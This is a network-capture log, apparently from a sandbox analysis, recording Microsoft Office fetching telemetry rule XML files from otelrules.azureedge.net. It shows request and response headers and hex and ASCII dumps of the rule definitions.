2024-10-24 06:51:14 UTC	591	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 06:51:14 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB813B3F" x-ms-request-id: 697bb720-201e-0071-0781-25ff15000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T065114Z-16849878b786vsxz21496wc2qn00000007eg000000006yx7 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L2_T2 X-Cache: TCP_REMOTE_HIT Accept-Ranges: bytes
2024-10-24 06:51:14 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammability" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.4	49907	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 06:51:14 UTC	192	OUT	GET /rules/rule702551v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 06:51:14 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 06:51:14 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCE9703A" x-ms-request-id: 53cea195-601e-0084-75f3-246b3f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T065114Z-r197bdfb6b4lkrtc7na2dkay2800000002t0000000003pn7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-24 06:51:14 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702551" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.4	49904	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 06:51:14 UTC	192	OUT	GET /rules/rule700501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 06:51:14 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 06:51:14 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:58 GMT ETag: "0x8DC582BE89A8F82" x-ms-request-id: 264b7e39-001e-0028-804e-22c49f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T065114Z-16849878b78lhh9t0fb3392enw000000075g00000000c2vg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 06:51:14 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.4	49906	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 06:51:14 UTC	192	OUT	GET /rules/rule700500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 06:51:14 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 06:51:14 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE51CE7B3" x-ms-request-id: 94ed9306-801e-0083-6af2-24f0ae000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T065114Z-15b8d89586fs9clcgrr6f2d6vg00000001ag000000006ubp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 06:51:14 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 6f 77 65 72 50 6f 69 6e 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPowerPoint" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.4	49908	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 06:51:14 UTC	192	OUT	GET /rules/rule702550v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 06:51:14 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 06:51:14 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE584C214" x-ms-request-id: ce674b06-f01e-0052-7d0b-229224000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T065114Z-16849878b7877w64p2ge9s25rg00000000xg000000004958 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 06:51:14 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702550" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPersonalization" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.4	49910	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 06:51:15 UTC	192	OUT	GET /rules/rule701350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 06:51:15 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 06:51:15 GMT Content-Type: text/xml Content-Length: 1370 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE62E0AB" x-ms-request-id: 06d7a471-401e-0029-1427-219b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T065115Z-16849878b78plcdqu15wsb8864000000077g00000000de3v x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 06:51:15 UTC	1370	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 66 6f 72 6d 61 6e 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 72 66 6f 72 6d 61 6e 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Performance" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPerformance" S="Medium" /> <F

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.4	49909	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 06:51:15 UTC	192	OUT	GET /rules/rule701351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 06:51:15 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 06:51:15 GMT Content-Type: text/xml Content-Length: 1407 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE687B46A" x-ms-request-id: 07658eab-b01e-005c-1e14-224c66000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T065115Z-16849878b78dsttbr1qw36rxs800000007bg000000008ehb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 06:51:15 UTC	1407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 66 6f 72 6d 61 6e 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Performance.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTok

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.4	49911	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 06:51:15 UTC	192	OUT	GET /rules/rule702151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 06:51:15 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 06:51:15 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE156D2EE" x-ms-request-id: b7fa3ccf-501e-005b-325d-23d7f7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T065115Z-r197bdfb6b4kq4j5t834fh90qn0000000aeg000000006s58 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 06:51:15 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 6f 70 6c 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 6f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.People.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPeo

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.4	49912	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 06:51:15 UTC	192	OUT	GET /rules/rule702150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 06:51:15 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 06:51:15 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:07 GMT ETag: "0x8DC582BEDC8193E" x-ms-request-id: e3c76c04-001e-0014-77f3-245151000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T065115Z-r197bdfb6b4sn8wg20e97vn7ps0000000ny0000000006aew x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 06:51:15 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 6f 70 6c 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 6f 70 6c 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.People" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPeople" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.4	49913	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 06:51:15 UTC	192	OUT	GET /rules/rule703001v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 06:51:15 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 06:51:15 GMT Content-Type: text/xml Content-Length: 1406 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB16F27E" x-ms-request-id: c362eb52-101e-0017-38f3-2447c7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T065115Z-15b8d89586flspj6y6m5fk442w00000004b0000000009abk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-24 06:51:15 UTC	1406	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 30 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 4d 61 63 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703001" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Mac.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTok

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.4	49916	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 06:51:16 UTC	192	OUT	GET /rules/rule700750v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 06:51:16 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 06:51:16 GMT Content-Type: text/xml Content-Length: 1377 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:02 GMT ETag: "0x8DC582BEAFF0125" x-ms-request-id: 02f2b425-901e-0064-56fc-24e8a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T065116Z-r197bdfb6b42sc4ddemybqpm140000000nz000000000ch1t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-24 06:51:16 UTC	1377	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 37 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 75 74 6c 6f 6f 6b 44 65 73 6b 74 6f 70 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700750" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Desktop" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOutlookDesktop" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.4	49915	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 06:51:16 UTC	192	OUT	GET /rules/rule700150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 06:51:16 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 06:51:16 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE54CA33F" x-ms-request-id: e9bbe3b2-401e-005b-3496-259c0c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T065116Z-16849878b786wvrz321uz1cknn000000079g00000000ek97 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
